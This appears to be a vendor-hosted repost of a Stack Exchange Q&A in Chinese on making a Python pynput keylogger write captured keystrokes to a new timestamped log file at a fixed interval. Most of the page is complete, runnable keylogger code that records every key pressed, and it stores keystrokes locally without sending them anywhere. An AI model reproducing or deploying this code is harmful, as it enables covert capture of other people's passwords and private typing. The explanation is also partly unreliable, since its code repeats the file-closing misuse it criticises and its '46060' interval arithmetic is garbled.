You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

如何让Python按键记录器每隔指定时间自动保存并生成新日志文件?

问题分析与解决方案

原代码的问题点

  1. 文件句柄重复关闭:with语句会自动在代码块结束后关闭文件,你在块内手动调用f.close(),导致后续循环的f.write()操作在已关闭的文件上执行,触发ValueError: I/O operation on closed file。
  2. 日志覆盖问题:每次调用write_file时用'w'模式打开文件,会清空之前的所有内容,无法累积日志。
  3. 定时逻辑错误:把时间判断写在按键循环里,每次按键都触发判断,逻辑混乱且无法精准定时切换文件。

实现每隔X秒生成新日志的正确代码

import pynput
from pynput.keyboard import Key, Listener
from datetime import datetime
import time
import threading

# 全局变量:存储按键记录、当前日志文件句柄、定时间隔(测试用5秒,实际改14400秒=4小时)
keys = []
current_log_file = None
INTERVAL = 5  # 秒

def init_log_file():
    """初始化/切换新的日志文件"""
    global current_log_file
    # 关闭旧文件(如果存在)
    if current_log_file is not None:
        current_log_file.close()
    # 生成新的文件名(带时间戳)
    now = datetime.now()
    dt_str = now.strftime('%d%m%Y-%H%M%S')
    # 用追加模式打开新文件(避免覆盖)
    current_log_file = open(f'log-{dt_str}.txt', 'a', encoding='utf-8')

def write_keys_to_file():
    """将按键记录写入当前日志文件"""
    global keys
    if not keys or current_log_file is None:
        return
    # 格式化按键内容
    with current_log_file:
        for key in keys:
            try:
                # 普通字符直接写入
                current_log_file.write(key.char)
            except AttributeError:
                # 特殊按键替换成易读格式
                if key == Key.space:
                    current_log_file.write(' ')
                elif key == Key.enter:
                    current_log_file.write('\n')
                else:
                    # 其他特殊按键用[按键名]标记
                    current_log_file.write(f'[{key.name}]')
    # 清空已写入的按键列表
    keys = []

def timer_task():
    """定时任务:每隔INTERVAL秒切换文件并写入记录"""
    while True:
        time.sleep(INTERVAL)
        # 先写入当前按键
        write_keys_to_file()
        # 切换新的日志文件
        init_log_file()

def on_press(key):
    """按键监听回调:收集按键记录"""
    keys.append(key)
    # 可选:实时打印按键(调试用)
    try:
        print(key.char, end='', flush=True)
    except AttributeError:
        print(f'[{key.name}]', end='', flush=True)

def on_release(key):
    """可选:按Esc退出程序"""
    if key == Key.esc:
        # 退出前写入剩余按键
        write_keys_to_file()
        if current_log_file is not None:
            current_log_file.close()
        return False

if __name__ == '__main__':
    # 初始化第一个日志文件
    init_log_file()
    # 启动定时线程
    timer_thread = threading.Thread(target=timer_task, daemon=True)
    timer_thread.start()
    # 启动按键监听
    with Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()

关键说明

  1. 线程分离:用threading.Thread启动定时任务线程,和按键监听线程互不干扰,保证定时精准。
  2. 文件管理:init_log_file函数负责创建新文件并关闭旧文件,避免文件句柄泄漏。
  3. 按键格式化:单独处理普通字符和特殊按键,让日志更易读。
  4. 退出处理:按Esc键退出时会自动写入剩余按键并关闭文件,避免数据丢失。
  5. 间隔调整:把INTERVAL改成14400(4小时=46060秒)即可满足实际需求。

内容的提问来源于stack exchange,提问作者Munim Jaffer

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.11 10:55:18